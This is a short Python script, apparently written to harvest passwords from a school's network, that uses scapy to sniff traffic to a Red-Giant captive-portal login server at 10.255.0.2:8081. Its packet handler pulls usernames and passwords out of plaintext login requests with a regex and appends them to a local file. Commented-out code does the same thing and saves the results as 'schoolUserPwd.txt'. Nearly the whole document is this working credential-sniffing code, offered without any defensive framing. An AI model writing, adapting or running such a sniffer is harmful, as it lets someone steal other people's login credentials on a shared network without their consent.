python 检索网络

import requests,datetime,re,psutil
import scapy_http.http as http
from scapy.all import *
from lxml import etree
import warnings
warnings.filterwarnings("ignore")
iface = 'wlan0'
iface="Intel(R) Ethernet Connection I219-V"
#iface="Intel(R) Dual Band Wireless-AC 8260"
url = "http://192.168.xxx.x:xxxx/portal/pws?t=li"
url="http://10.255.0.2:8081/login.html"
url="http://10.255.0.2:8081"
path = "/root"
def get_netcard():
    netcard_info = []
    info = psutil.net_if_addrs()
    print(info)
    for k,v in info.items():
        for item in v:
            if item[0] == 2 and not item[1]=='127.0.0.1':
                netcard_info.append((k,item[1]))

    return netcard_info
def prn(pkt):
    global a
    a=a+1
    #print(a,"the time is : %s" % datetime.now())
    data = None
    #print(http.HTTPRequest,pkt.haslayer(http.HTTPRequest))
    #std ==> ap
    #print(pkt.decode(encoding="utf-8"))
    #print(aa)
    ab=re.findall('signname=Red-Giant&username=(.*?)&password=(.*?)&signname=Red-Giant',str(pkt))
    if len(ab)>0:
        print(ab)
        with open("aa.txt","a") as txt:
            txt.write(str(ab))
##    if pkt.haslayer(http.HTTPRequest):
##        print(pkt)#if post the username and password
##        if pkt.Method == 'POST':
##            print(1111111111111)
##        if pkt.Method == 'POST' and 'username' in pkt.load:
##            dt = {i.split("=")[0]:i.split("=")[1] for i in pkt.load.split("&")}
##            data = ":::".join((dt["username"],dt["password"][3:].decode("base64"))) + '\n'
##            print( '[+]Get! Post data:%s %s %s %s' % (dt['username'],dt['pasword']))
##
##    if data != None:
##        with open(path + "schoolUserPwd.txt", "a") as txt:
##            txt.write(data)

def main():
    #print("the time is : %s" % datetime.now())
    try:
        #sniff(iface=iface, prn=prn, filter="ip host 10.255.0.2", store=0)
        sniff(iface=iface, prn=prn, filter="ip host 10.255.0.2 && port 8081",store=1)
        #sniff(offline=path + "school.pcap", prn=prn, filter="ip host 192.168.xxx.x")
    except KeyboardInterrupt as e:
        print("quitting...")

if __name__ == '__main__':
    global a
    a=0
    #print(get_netcard())
    main()